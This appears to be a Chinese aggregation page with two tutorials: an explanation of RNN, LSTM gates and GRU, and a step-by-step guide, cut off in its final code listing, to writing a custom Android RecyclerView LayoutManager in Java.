精华内容
下载资源
问答
  • 如何从RNN起步,一步一步通俗理解LSTM

    万次阅读 多人点赞 2019-05-06 23:47:54
    如何从RNN起步,一步一步通俗理解LSTM 前言 提到LSTM,之前学过的同学可能最先想到的是ChristopherOlah的博文《理解LSTM网络》,这篇文章确实厉害,网上流传也相当之广,而且当你看过了网上很多关于LSTM的文章...

                                 如何从RNN起步,一步一步通俗理解LSTM

     

     

    前言

    提到LSTM,之前学过的同学可能最先想到的是ChristopherOlah的博文《理解LSTM网络》,这篇文章确实厉害,网上流传也相当之广,而且当你看过了网上很多关于LSTM的文章之后,你会发现这篇文章确实经典。不过呢,如果你是第一次看LSTM,则原文可能会给你带来不少障碍:

    一者,一上来就干LSTM,不少读者可能还没理解好RNN。基于此,我们可以从最简单的单层网络开始学起;
    二者,原文没有对LSTM的三个门解释的足够细致,包括三个不同的sigmoid函数用的同一个符号σ(有错么?没错,看多了就会明白这是习惯用法);
    三者,不同的权值也用的同一个符号w,而当把图、公式、关系一一对应清楚后,初学就不会一脸懵逼了。甚至我们把各个式子的计算过程用有方向的水流表示出来,则会好懂不少,这个时候就可以上动图。

    而我自己就是这么经历过来的,虽然学过了不少模型/算法,但此前对LSTM依然很多不懂,包括一开始反复看ChristopherOlah博文《理解LSTM网络》,好在和我司AI Lab陈博士反复讨论之后,终于通了!

    侧面说明,当一个人冥思苦想想不通时,十之八九是因为看的资料不够通俗,如果还是不行,则问人,结果可能瞬间领悟,这便是教育的意义,也是我们做七月在线的巨大价值。

    众所周知,我们已经把SVM、CNN、xgboost、LSTM等很多技术,写的/讲的国内最通俗易懂了,接下来,我们要把BERT等技术也写的/讲的国内最通俗易懂,成为入门标准,而且不单单是从NNLM \rightarrow Word2Vec \rightarrow Seq2Seq \rightarrow Seq2Seq with Attention \rightarrow Transformer \rightarrow Elmo \rightarrow GPT \rightarrow BERT,我们希望给所有AI初学者铺路:一步一个台阶,而不是出现理解断层。

    本文在ChristopherOlah的博文及@Not_GOD 翻译的译文等文末参考文献的基础上做了大量便于理解的说明/注解(这些说明/注解是在其他文章里不轻易看到的),一切为更好懂。

     

    一、RNN

    1.1 从单层网络到经典的RNN结构
    在学习LSTM之前,得先学习RNN,而在学习RNN之前,首先要了解一下最基本的单层网络,它的结构如下图所示:

    输入是x,经过变换Wx+b和激活函数f,得到输出y。相信大家对这个已经非常熟悉了。

    在实际应用中,我们还会遇到很多序列形的数据:


    如:

    1. 自然语言处理问题。x1可以看做是第一个单词,x2可以看做是第二个单词,依次类推。
    2. 语音处理。此时,x1、x2、x3……是每帧的声音信号。
    3. 时间序列问题。例如每天的股票价格等等。

    而其中,序列形的数据就不太好用原始的神经网络处理了。

    为了建模序列问题,RNN引入了隐状态h(hidden state)的概念,h可以对序列形的数据提取特征,接着再转换为输出。

    先从h_{1}的计算开始看:


    图示中记号的含义是:
    a)圆圈或方块表示的是向量。
    b)一个箭头就表示对该向量做一次变换。如上图中h_{0}x_{1}分别有一个箭头连接,就表示对h_{0}x_{1}各做了一次变换。
    在很多论文中也会出现类似的记号,初学的时候很容易搞乱,但只要把握住以上两点,就可以比较轻松地理解图示背后的含义。

    h_{2}的计算和h_{1}类似。但有两点需要注意下:

    1. 在计算时,每一步使用的参数U、W、b都是一样的,也就是说每个步骤的参数都是共享的,这是RNN的重要特点,一定要牢记;
    2. 而下文马上要看到的LSTM中的权值则不共享,因为它是在两个不同的向量中。而RNN的权值为何共享呢?很简单,因为RNN的权值是在同一个向量中,只是不同时刻而已。


    依次计算剩下来的(使用相同的参数U、W、b):


    我们这里为了方便起见,只画出序列长度为4的情况,实际上,这个计算过程可以无限地持续下去。

    我们目前的RNN还没有输出,得到输出值的方法就是直接通过h进行计算:


    正如之前所说,一个箭头就表示对对应的向量做一次类似于f(Wx+b)的变换,这里的这个箭头就表示对h1进行一次变换,得到输出y1。

    剩下的输出类似进行(使用和y1同样的参数V和c):

    OK!大功告成!这就是最经典的RNN结构,是x1, x2, .....xn,输出为y1, y2, ...yn,也就是说,输入和输出序列必须要是等长的。

    1.2 RNN的应用
    人类并不是每时每刻都从一片空白的大脑开始他们的思考。在你阅读这篇文章时候,你都是基于自己已经拥有的对先前所见词的理解来推断当前词的真实含义。我们不会将所有的东西都全部丢弃,然后用空白的大脑进行思考。我们的思想拥有持久性。

    传统的神经网络并不能做到这点,看起来也像是一种巨大的弊端。例如,假设你希望对电影中的每个时间点的时间类型进行分类。传统的神经网络应该很难来处理这个问题:使用电影中先前的事件推断后续的事件。循环神经网络RNN解决了这个问题。

    通过上文第一节我们已经知道,RNN是包含循环的网络,在这个循环的结构中,每个神经网络的模块,读取某个输入,并输出一个值(注:输出之前由y表示,从此处起,改为隐层输出h表示),然后不断循环。循环可以使得信息可以从当前步传递到下一步。

    这些循环使得RNN看起来非常神秘。然而,如果你仔细想想,这样也不比一个正常的神经网络难于理解。RNN可以被看做是同一神经网络的多次复制,每个神经网络模块会把消息传递给下一个。所以,如果我们将这个循环展开:

    链式的特征揭示了RNN本质上是与序列和列表相关的。他们是对于这类数据的最自然的神经网络架构。

    1.3 RNN的局限:长期依赖(Long-TermDependencies)问题

    RNN的关键点之一就是他们可以用来连接先前的信息到当前的任务上,例如使用过去的视频段来推测对当前段的理解。如果RNN可以做到这个,他们就变得非常有用。但是真的可以么?答案是,还有很多依赖因素。

    有时候,我们仅仅需要知道先前的信息来执行当前的任务。例如,我们有一个语言模型用来基于先前的词来预测下一个词。如果我们试着预测“the clouds are in the sky”最后的词,我们并不再需要其他的信息,因为很显然下一个词应该是sky。在这样的场景中,相关的信息和预测的词位置之间的间隔是非常小的,RNN可以学会使用先前的信息。


    但是同样会有一些更加复杂的场景。假设我们试着去预测“I grew up in France...I speak fluent French”最后的词。当前的信息建议下一个词可能是一种语言的名字,但是如果我们需要弄清楚是什么语言,我们是需要先前提到的离当前位置很远的France的上下文的。这说明相关信息和当前预测位置之间的间隔就肯定变得相当的大。

    不幸的是,在这个间隔不断增大时,RNN会丧失学习到连接如此远的信息的能力。


    在理论上,RNN绝对可以处理这样的长期依赖问题。人们可以仔细挑选参数来解决这类问题中的最初级形式,但在实践中,RNN肯定不能够成功学习到这些知识。Bengio,etal.(1994)等人对该问题进行了深入的研究,他们发现一些使训练RNN变得非常困难的相当根本的原因。

    换句话说, RNN 会受到短时记忆的影响。如果一条序列足够长,那它们将很难将信息从较早的时间步传送到后面的时间步。

    因此,如果你正在尝试处理一段文本进行预测,RNN 可能从一开始就会遗漏重要信息。在反向传播期间(反向传播是一个很重要的核心议题,本质是通过不断缩小误差去更新权值,从而不断去修正拟合的函数),RNN 会面临梯度消失的问题。

    因为梯度是用于更新神经网络的权重值(新的权值 = 旧权值 - 学习率*梯度),梯度会随着时间的推移不断下降减少,而当梯度值变得非常小时,就不会继续学习。​

    换言之,在递归神经网络中,获得小梯度更新的层会停止学习—— 那些通常是较早的层。 由于这些层不学习,RNN 可以忘记它在较长序列中看到的内容,因此具有短时记忆。

    而梯度爆炸则是因为计算的难度越来越复杂导致。

    然而,幸运的是,有个RNN的变体——LSTM,可以在一定程度上解决梯度消失和梯度爆炸这两个问题!

     

     

    二、LSTM网络
    Long ShortTerm 网络——一般就叫做LSTM——是一种RNN特殊的类型,可以学习长期依赖信息。当然,LSTM和基线RNN并没有特别大的结构不同,但是它们用了不同的函数来计算隐状态。LSTM的“记忆”我们叫做细胞/cells,你可以直接把它们想做黑盒,这个黑盒的输入为前状态和当前输入。这些“细胞”会决定哪些之前的信息和状态需要保留/记住,而哪些要被抹去。实际的应用中发现,这种方式可以有效地保存很长时间之前的关联信息。

    2.1 什么是LSTM网络

    举个例子,当你想在网上购买生活用品时,一般都会查看一下此前已购买该商品用户的评价。


    当你浏览评论时,你的大脑下意识地只会记住重要的关键词,比如“amazing”和“awsome”这样的词汇,而不太会关心“this”、“give”、“all”、“should”等字样。如果朋友第二天问你用户评价都说了什么,那你可能不会一字不漏地记住它,而是会说出但大脑里记得的主要观点,比如“下次肯定还会来买”,那其他一些无关紧要的内容自然会从记忆中逐渐消失。

    而这基本上就像是 LSTM 或 GRU 所做的那样,它们可以学习只保留相关信息来进行预测,并忘记不相关的数据。简单说,因记忆能力有限,记住重要的,忘记无关紧要的。


    LSTM由Hochreiter&Schmidhuber(1997)提出,并在近期被AlexGraves进行了改良和推广。在很多问题,LSTM都取得相当巨大的成功,并得到了广泛的使用。
    LSTM通过刻意的设计来避免长期依赖问题。记住长期的信息在实践中是LSTM的默认行为,而非需要付出很大代价才能获得的能力!

    所有RNN都具有一种重复神经网络模块的链式的形式。在标准的RNN中,这个重复的模块只有一个非常简单的结构,例如一个tanh层。

    激活函数 Tanh 作用在于帮助调节流经网络的值,使得数值始终限制在 -1 和 1 之间。


    LSTM同样是这样的结构,但是重复的模块拥有一个不同的结构。具体来说,RNN是重复单一的神经网络层,LSTM中的重复模块则包含四个交互的层,三个Sigmoid 和一个tanh层,并以一种非常特殊的方式进行交互。

    上图中,σ表示的Sigmoid 激活函数与 tanh 函数类似,不同之处在于 sigmoid 是把值压缩到0~1 之间而不是 -1~1 之间。这样的设置有助于更新或忘记信息:

    • 因为任何数乘以 0 都得 0,这部分信息就会剔除掉;
    • 同样的,任何数乘以 1 都得到它本身,这部分信息就会完美地保存下来。

    相当于要么是1则记住,要么是0则忘掉,所以还是这个原则:因记忆能力有限,记住重要的,忘记无关紧要的

    此外,对于图中使用的各种元素的图标中,每一条黑线传输着一整个向量,从一个节点的输出到其他节点的输入。粉色的圈代表pointwise的操作,诸如向量的和,而黄色的矩阵就是学习到的神经网络层。合在一起的线表示向量的连接,分开的线表示内容被复制,然后分发到不同的位置。


    2.2 LSTM的核心思想
    LSTM的关键就是细胞状态,水平线在图上方贯穿运行。
    细胞状态类似于传送带。直接在整个链上运行,只有一些少量的线性交互。信息在上面流传保持不变会很容易。

    LSTM有通过精心设计的称作为“门”的结构来去除或者增加信息到细胞状态的能力。门是一种让信息选择式通过的方法。他们包含一个sigmoid神经网络层和一个pointwise乘法的非线性操作。

    如此,0代表“不许任何量通过”,1就指“允许任意量通过”!从而使得网络就能了解哪些数据是需要遗忘,哪些数据是需要保存。

    LSTM拥有三种类型的门结构:遗忘门/忘记门、输入门和输出门,来保护和控制细胞状态。下面,我们来介绍这三个门。

     


    三、逐步理解LSTM
    3.1 忘记门
    在我们LSTM中的第一步是决定我们会从细胞状态中丢弃什么信息。这个决定通过一个称为“忘记门”的结构完成。该忘记门会读取上一个输出和当前输入,做一个Sigmoid 的非线性映射,然后输出一个向量f_{t}(该向量每一个维度的值都在0到1之间,1表示完全保留,0表示完全舍弃,相当于记住了重要的,忘记了无关紧要的),最后与细胞状态相乘。

    类比到语言模型的例子中,则是基于已经看到的预测下一个词。在这个问题中,细胞状态可能包含当前主语的性别,因此正确的代词可以被选择出来。当我们看到新的主语,我们希望忘记旧的主语,进而决定丢弃信息。

    大部分初学的读者看到这,可能会有所懵逼,没关系,我们分以下两个步骤理解:

    1. 对于上图右侧公式中的权值W_{f},准确的说其实是不共享,即是不一样的。有的同学可能第一反应是what?别急,我展开下你可能就瞬间清晰了,即:f_{t} = \sigma (W_{fh}h_{t-1} + W_{fx} x_{t} + b_{f})
    2. 至于右侧公式和左侧的图是怎样的一个一一对应关系呢?如果是用有方向的水流表示计算过程则将一目了然,上动图!红圈表示Sigmoid 激活函数,篮圈表示tanh 函数:


    3.2 输入门
    下一步是确定什么样的新信息被存放在细胞状态中。这里包含两个部分:
    第一,sigmoid层称“输入门层”决定什么值我们将要更新;
    第二,一个tanh层创建一个新的候选值向量,会被加入到状态中。
    下一步,我们会讲这两个信息来产生对状态的更新。

    在我们语言模型的例子中,我们希望增加新的主语的性别到细胞状态中,来替代旧的需要忘记的主语,进而确定更新的信息。

    继续分两个步骤来理解:

    1. 首先,为便于理解图中右侧的两个公式,我们展开下计算过程,即i_{t} = \sigma (W_{ih}h_{t-1} + W_{ix}x_{t} + b_{i})\tilde{C_{t}} = tanh(W_{Ch}h_{t-1} + W_{Cx}x_{t} + b_{C})
    2. 其次,上动图!


    3.3 细胞状态
    现在是更新旧细胞状态的时间了,更新为。前面的步骤已经决定了将会做什么,我们现在就是实际去完成。
    我们把旧状态与相乘,丢弃掉我们确定需要丢弃的信息。接着加上。这就是新的候选值,根据我们决定更新每个状态的程度进行变化。
    在语言模型的例子中,这就是我们实际根据前面确定的目标,丢弃旧代词的性别信息并添加新的信息的地方,类似更新细胞状态。

    再次动图!


    3.4 输出门
    最终,我们需要确定输出什么值。这个输出将会基于我们的细胞状态,但是也是一个过滤后的版本。

    首先,我们运行一个sigmoid层来确定细胞状态的哪个部分将输出出去。
    接着,我们把细胞状态通过tanh进行处理(得到一个在-1到1之间的值)并将它和sigmoid门的输出相乘,最终我们仅仅会输出我们确定输出的那部分。

    在语言模型的例子中,因为他就看到了一个代词,可能需要输出与一个动词相关的信息。例如,可能输出是否代词是单数还是负数,这样如果是动词的话,我们也知道动词需要进行的词形变化,进而输出信息。

    依然分两个步骤来理解:

    1. 展开图中右侧第一个公式,o_{t} = \sigma (W_{oh}h_{t-1} + W_{ox}x_{t} + b_{o})
    2. 最后一个动图:

     


    四、LSTM的变体
    我们到目前为止都还在介绍正常的LSTM。但是不是所有的LSTM都长成一个样子的。实际上,几乎所有包含LSTM的论文都采用了微小的变体。差异非常小,但是也值得拿出来讲一下。
    4.1 peephole连接与coupled
    其中一个流形的LSTM变体,就是由Gers&Schmidhuber(2000)提出的,增加了“peepholeconnection”。是说,我们让门层也会接受细胞状态的输入。

    peephole连接

    上面的图例中,我们增加了peephole到每个门上,但是许多论文会加入部分的peephole而非所有都加。

    另一个变体是通过使用coupled忘记和输入门。不同于之前是分开确定什么忘记和需要添加什么新的信息,这里是一同做出决定。我们仅仅会当我们将要输入在当前位置时忘记。我们仅仅输入新的值到那些我们已经忘记旧的信息的那些状态。

     

    4.2 GRU
    另一个改动较大的变体是GatedRecurrentUnit(GRU),这是由Cho,etal.(2014)提出。它将忘记门和输入门合成了一个单一的更新门。同样还混合了细胞状态和隐藏状态,和其他一些改动。最终的模型比标准的LSTM模型要简单,也是非常流行的变体。

    为了便于理解,我把上图右侧中的前三个公式展开一下

    1. z_{t} = \sigma (W_{zh}h_{t-1} + W_{zx}x_{t})
    2. r_{t} = \sigma (W_{rh}h_{t-1} + W_{rx}x_{t})
    3. \tilde{h} = tanh(W_{rh}(r_{t}h_{t-1}) + W_{x}x_{t})

    这里面有个小问题,眼尖的同学可能看到了,z_{t}r_{t}都是对h_{t-1}x_{t}做的Sigmoid非线性映射,那区别在哪呢?原因在于GRU把忘记门和输入门合二为一了,而z_{t}是属于要记住的,反过来1- z_{t}则是属于忘记的,相当于对输入h_{t-1}x_{t}做了一些更改/变化,而r_{t}则相当于先见之明的把输入h_{t-1}x_{t}z_{t}/1- z_{t}对其做更改/变化之前,先事先存一份原始的,最终在\tilde{h}那做一个tanh变化。

    这里只是部分流行的LSTM变体。当然还有很多其他的,如Yao,etal.(2015)提出的DepthGatedRNN。还有用一些完全不同的观点来解决长期依赖的问题,如Koutnik,etal.(2014)提出的ClockworkRNN。

    要问哪个变体是最好的?其中的差异性真的重要吗?Greff,etal.(2015)给出了流行变体的比较,结论是他们基本上是一样的。Jozefowicz,etal.(2015)则在超过1万种RNN架构上进行了测试,发现一些架构在某些任务上也取得了比LSTM更好的结果。

     

     

    五、LSTM相关面试题

    为帮助大家巩固以上的所学,且助力找AI工作的朋友,特从七月在线AI题库里抽取以下关于LSTM的典型面试题,更具体的答案参见:https://www.julyedu.com/search?words=LSTM(打开链接后,勾选“面试题”的tab)。

    1. LSTM结构推导,为什么比RNN好?
    2. GRU是什么?GRU对LSTM做了哪些改动?
    3. LSTM神经网络输入输出究竟是怎样的?
    4. 为什么LSTM模型中既存在sigmoid又存在tanh两种激活函数,而不是选择统一一种sigmoid或者tanh?这样做的目的是什么?
    5. 如何修复梯度爆炸问题?
    6. 如何解决RNN梯度爆炸和弥散的问题?

     

     

    六、参考文献

    1. ChristopherOlah的博文《理解LSTM网络
    2. @Not_GOD 翻译ChristopherOlah的博文《理解LSTM网络
    3. RNN是怎么从单层网络一步一步构造的?
    4. 通过一张张动图形象的理解LSTM
    5. 如何理解LSTM网络(超经典的Christopher Olah的博文之July注解版)
    6. LSTM相关的典型面试题:https://www.julyedu.com/search?words=LSTM(打开链接后,勾选“面试题”的tab)
    7. 如何理解反向传播算法BackPropagation
    展开全文
  • 一步一步自定义LayoutManager

    千次阅读 2018-05-13 16:59:55
    前言这篇文章实现了一个简单的LayoutManager,重点在于从原理方面一步一步去了解如何自定义一个LayoutManager。麻雀虽小,但五脏俱全。从自定义LayoutManager的layout布局,到scroll滑动,再到添加简单的动画效果。 ...

    前言

    这篇文章实现了一个简单的LayoutManager,重点在于从原理方面一步一步去了解如何自定义一个LayoutManager。麻雀虽小,但五脏俱全。从自定义LayoutManager的layout布局,到scroll滑动,再到添加简单的动画效果。 其实,自定义一个LayoutManager也没那么难。

    基本概念

    Recycler

    LayoutManafger调用 getViewForPosition 获取一个item,Recycler会决定是从缓存返回还是生成新的item。在自定义LayoutManger的时候,要保证不可见的视图被传递给Recycler。

    Scrap 或 Recycler

    Recycler是二级缓存,一个scrap heap 和一个 recyle pool, scrap 中的数据是正确的数据,比如我们快速上下滑动列表时,在边缘的栏目一会显示一会消失,所以会放在scrap中。 而已经消失并不使用的item,会被放在recyle中,其中的数据也是不正确的。

    每次LayoutManager去请求一个视图调用getViewForPosition的时候,会先从scrap heap中找,存在直接返回。否则去recyle pool 中找一个视图,然后重新在adapter中绑定数据。最终如果还没有缓存,调用我们在adapter中重写的onCreateViewHolder,生成一个新的ViewHolder绑定数据并返回。

    使用 detachAndScrapView 将视图放进scrap中去,使用removeAndRecycleView 将可能不会再用的视图放回recycler并且后续如果使用,还要进行rebind

    小结

    其实,上面这些都是废话,只要知道要获得一个view和用完一个view,都要通过recycler。常用的方法有getViewForPosition ,detachAndScrapView 和 removeAndRecycleView

    自定义LayoutManager

    generateDefaultLayoutParams

    作用:控制每个item的layoutParams 
    为每一个childView设置的LayoutParams在这个方法中返回。很简单,一般我们都直接返回一个WrapContent的lp

    初始布局 onLayoutChildren

    这个方法会在一个view 第一次执行layout的时候调用,同时也会在adaper的数据集改变并通知观察者(也就是view)的时候调用。所以在其中每一次布局的时候,要先将之前放置的无用的View放回recycler中,因为这些View我们在后续还可能使用,为了减少初始化以及bind的时间,我们调用detachAndScrapAttachedViews。此外,对于不会再用到的View,可以调用removeAndRecycleView进行回收。

            if (getItemCount() == 0) {
                offset = 0;
                detachAndScrapAttachedViews(recycler);
                return;
            }
    • 1
    • 2
    • 3
    • 4
    • 5

    这里自定义的LayoutManager比较简单,假定全部的item都是相同的大小。所以可以在一开始进行测绘:

            if (getChildCount() == 0) {
                View scrap = recycler.getViewForPosition(0);
                addView(scrap);
                measureChildWithMargins(scrap, 0, 0);
                mDecoratedChildWidth = getDecoratedMeasuredWidth(scrap);
                mDecoratedChildHeight = getDecoratedMeasuredHeight(scrap);
                startLeft = (getHorizontalSpace() - mDecoratedChildWidth) / 2;
                startTop = (getVerticalSpace() - mDecoratedChildHeight) / 2;
                interval = 10;
                detachAndScrapView(scrap, recycler);
            }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    这里注意getItemCount和getChildCount的区别:前者是adapter中添加的数据的数目,而后者是当前recyclerView中已经添加的子View的数目。所以上述代码的含义就是,如果没有添加过子View,那么从recycler中取出一个并完成测绘:

    recycler.getViewForPosition(0);
                addView(scrap);
    • 1
    • 2

    测绘完成后,再重新放回recycler中,调用

    detachAndScrapView(scrap, recycler);
    • 1

    最后,再将之前添加的全部子View放回recycler中,因为一会还要使用,为了避免rebind,调用

            detachAndScrapAttachedViews(recycler);
    
    • 1
    • 2

    然后就可以进行layoutChildren的过程了。

    先来一个简单的,如下:

    int left = 100, top = 0;
            for (int i = 0; i< getItemCount(); i++) {
                if (outOfRange(top)) continue;
                View scrap = recycler.getViewForPosition(i);
                measureChildWithMargins(scrap, 0, 0);
                addView(scrap);
                layoutDecorated(scrap, left, top, left + mDecoratedChildWidth, top + mDecoratedChildHeight);
                top += mDecoratedChildHeight + interval;
            }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    基本效果就是这样: 
    这里写图片描述

    处理滑动 canScroll 和 scrollXXXBy

    基本的布局有了之后,就可以处理滑动了。 
    RecyclerView是一个ViewGroup,如果要处理滑动事件,必然要进行拦截,分析其中的onInterceptTouchEvent方法:

    关键代码如下:

            final boolean canScrollHorizontally = mLayout.canScrollHorizontally();
            final boolean canScrollVertically = mLayout.canScrollVertically();
            ...
            case MotionEvent.ACTION_MOVE:
            ...
            if (canScrollHorizontally && Math.abs(dx) > mTouchSlop) {
                            mLastTouchX = mInitialTouchX + mTouchSlop * (dx < 0 ? -1 : 1);
                            startScroll = true;
                        }
           if (canScrollVertically && Math.abs(dy) > mTouchSlop) {
                            mLastTouchY = mInitialTouchY + mTouchSlop * (dy < 0 ? -1 : 1);
                            startScroll = true;
                        }
                        ...
           if (startScroll) {                      setScrollState(SCROLL_STATE_DRAGGING);
                        }
                        ...
           return mScrollState == SCROLL_STATE_DRAGGING;
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    这里可以知道,如果要拦截某个方向的滑动事件,那么要在mLayout也就是LayoutManager中重写相应的canScrollxxx方法。 
    比如我们要允许竖直方向的滑动,直接重写如下:

        @Override
        public boolean canScrollVertically() {
            return true;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    再来看一下事件拦截以后,在onTouchEvent中怎么处理的:

    if (scrollByInternal(
                        canScrollHorizontally ? dx : 0,
                            canScrollVertically ? dy : 0,
                                vtev)) {
    getParent().requestDisallowInterceptTouchEvent(true);
                        }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    代码很多,关键在于在ACTION_MOVE事件中调用了scrollByInternal方法,其中又有如下方法:

                if (x != 0) {
                    consumedX = mLayout.scrollHorizontallyBy(x, mRecycler, mState);
                    unconsumedX = x - consumedX;
                }
                if (y != 0) {
                    consumedY = mLayout.scrollVerticallyBy(y, mRecycler, mState);
                    unconsumedY = y - consumedY;
                }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    就是调用了LayoutManager中自定义的scrollxxxBy方法,并且传入Recycler供我们获取和回收View,以及相应的坐标x和y。

    除此之外,要注意这个scrollxxxBy方法还有个返回值,这个返回值就是我们当前处理了的滑动坐标。如果这个值小于传入的坐标,表明我们已经滑动到了尽头,这么说可能有点抽象,举个例子:

       @Override
        public int scrollVerticallyBy(int dy, RecyclerView.Recycler recycler, RecyclerView.State state) {
            return 0;
        }
    • 1
    • 2
    • 3
    • 4

    返回0的时候,无论怎样都会小于传入的dy,看一下效果:

    这里写图片描述

    可以看到,我向下和向上滑动的时候,上边沿和下边沿都会出现一个动画效果,表明已经到头了!就是由于返回值是0的缘故。

    分析到这里,基本可以确定如何添加滚动效果了,关键在两点:

    1. canScrollXXX中返回true
    2. 在onTouchEvent中scrollXXXBy方法不断被调用,在其中完成LayoutChildren不断对子View进行放置,从而形成动画效果。

    为了完成第二个目的,我们需要在代码中添加一些额外的属性,主要就是每个item的偏移量,这样,在获得dy的时候,可以在每个item原有偏移量的基础上进行移动以及回收不需要的view。

    首先,用一个全局变量 List offsetList 来存储每一个item的偏移量,并在onLayoutChildren中进行初始化:

            for (int i = 0; i < getItemCount(); i++) {
                offsetList.add(property);
                property += mDecoratedChildHeight + interval;
            }
    • 1
    • 2
    • 3
    • 4

    滑动方面的方法:

        @Override
        public int scrollVerticallyBy(int dy, RecyclerView.Recycler recycler, RecyclerView.State state) {
            int willScroll = dy;
            offset += willScroll;
            layoutItems(recycler, state, dy);
            return willScroll;
        }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    并且,原先对item的layout的过程也要进行一些修改:

        private void layoutItems(RecyclerView.Recycler recycler, RecyclerView.State state, int dy) {
            for (int i = 0; i < getChildCount(); i++) {
                View view = getChildAt(i);
                int pos = getPosition(view);
                if (outOfRange(offsetList.get(pos) - offset)) {
                    removeAndRecycleView(view, recycler);
                }
            }
            detachAndScrapAttachedViews(recycler);
            int left = 100;
            for (int i = 0; i< getItemCount(); i++) {
                int top = offsetList.get(i);
                if (outOfRange(top - offset)) continue;
                View scrap = recycler.getViewForPosition(i);
                measureChildWithMargins(scrap, 0, 0);
                if (dy >= 0)
                    addView(scrap);
                else
                    addView(scrap, 0);
                layoutDecorated(scrap, left, top - offset, left + mDecoratedChildWidth, top - offset + mDecoratedChildHeight);
            }
        }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    这里写图片描述

    上述代码中,对每一个item记录了一下它的位置,然后滑动过程中offset+=dy,并且每次滑动后都出发LayoutItems方法,并且每个item在初始化y值的基础上减去offset,得到新的布局的位置。 
    到此为止,就有了滑动的动画效果:

    这里写图片描述

    缩放效果

    经常有这样一种需求,当滑动列表的时候,列表中间部分某些item会呈现出放大之类的动画效果。其实,这种效果的实现其实就是通过item的属性动画。

    实现的思路也比较简单,定一条基准线middle如下:

    这里写图片描述

    在每一个进行layout的时候计算每一个item的坐标,距离middle中线最近的那个我们给它放大,就实现了一个类似选中当前重点的效果。当然,具体的动画效果我们可以自己去计算选择。

    新的layoutItems代码如下:

        private void layoutItems(RecyclerView.Recycler recycler, RecyclerView.State state, int dy) {
            for (int i = 0; i < getChildCount(); i++) {
                View view = getChildAt(i);
                int pos = getPosition(view);
                if (outOfRange(offsetList.get(pos) - offset)) {
                    removeAndRecycleView(view, recycler);
                }
            }
            detachAndScrapAttachedViews(recycler);
            int left = 100;
            View selectedView = null;
            float maxScale = Float.MIN_VALUE;
            for (int i = 0; i< getItemCount(); i++) {
                int top = offsetList.get(i);
                if (outOfRange(top - offset)) continue;
                View scrap = recycler.getViewForPosition(i);
                measureChildWithMargins(scrap, 0, 0);
                if (dy >= 0)
                    addView(scrap);
                else
                    addView(scrap, 0);
    
                int deltaY = Math.abs(top - offset - middle);
                scrap.setScaleX(1);
                scrap.setScaleY(1);
                float scale = 1 + (mDecoratedChildHeight / (deltaY + 1));
                if (scale > maxScale) {
                    maxScale = scale;
                    selectedView = scrap;
                }
    
                layoutDecorated(scrap, left, top - offset, left + mDecoratedChildWidth, top - offset + mDecoratedChildHeight);
            }
    
            if (selectedView != null) {
                maxScale = maxScale > 2 ? 2 : maxScale;
                selectedView.setScaleX(maxScale);
                selectedView.setScaleY(maxScale);
            }
        }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    最后可以得到下面这样一个比较粗糙的效果:

    这里写图片描述

    最后,来贴一下完整的代码吧:

    package rouchuan.circlelayoutmanager;
    
    import android.content.Context;
    import android.support.v7.widget.RecyclerView;
    import android.view.View;
    import android.view.ViewGroup;
    
    import java.util.ArrayList;
    import java.util.List;
    
    /**
     * Created by yangyang on 2017/3/13.
     */
    
    public class SimpleLayoutManager extends RecyclerView.LayoutManager {
        private int mDecoratedChildWidth;
        private int mDecoratedChildHeight;
        private int interval;
        private int middle;
        private int offset;
        private List<Integer> offsetList;
        public SimpleLayoutManager(Context context) {
            offsetList = new ArrayList<>();
        }
        @Override
        public RecyclerView.LayoutParams generateDefaultLayoutParams() {
            return new RecyclerView.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
        }
    
        @Override
        public void onLayoutChildren(RecyclerView.Recycler recycler, RecyclerView.State state) {
            if (getItemCount() == 0) {
                offset = 0;
                detachAndScrapAttachedViews(recycler);
                return;
            }
    
            //初始化的过程,还没有childView,先取出一个测绘。 认为每个item的大小是一样的
            if (getChildCount() == 0) {
                View scrap = recycler.getViewForPosition(0);
                addView(scrap);
                measureChildWithMargins(scrap, 0, 0);
                mDecoratedChildWidth = getDecoratedMeasuredWidth(scrap);
                mDecoratedChildHeight = getDecoratedMeasuredHeight(scrap);
                interval = 10;
                middle = (getVerticalSpace() - mDecoratedChildHeight) / 2;
                detachAndScrapView(scrap, recycler);
            }
            //回收全部attach 的 view 到 recycler 并重新排列
            int property = 0;
            for (int i = 0; i < getItemCount(); i++) {
                offsetList.add(property);
                property += mDecoratedChildHeight + interval;
            }
            detachAndScrapAttachedViews(recycler);
            layoutItems(recycler, state, 0);
    
    
        }
    
        @Override
        public boolean canScrollVertically() {
            return true;
        }
    
        @Override
        public int scrollVerticallyBy(int dy, RecyclerView.Recycler recycler, RecyclerView.State state) {
            int willScroll = dy;
            offset += willScroll;
            if (offset < 0 || offset > offsetList.get(offsetList.size() - 1)) return 0;
            layoutItems(recycler, state, dy);
            return willScroll;
        }
    
    
    
        private void layoutItems(RecyclerView.Recycler recycler, RecyclerView.State state, int dy) {
            for (int i = 0; i < getChildCount(); i++) {
                View view = getChildAt(i);
                int pos = getPosition(view);
                if (outOfRange(offsetList.get(pos) - offset)) {
                    removeAndRecycleView(view, recycler);
                }
            }
            detachAndScrapAttachedViews(recycler);
            int left = 100;
            View selectedView = null;
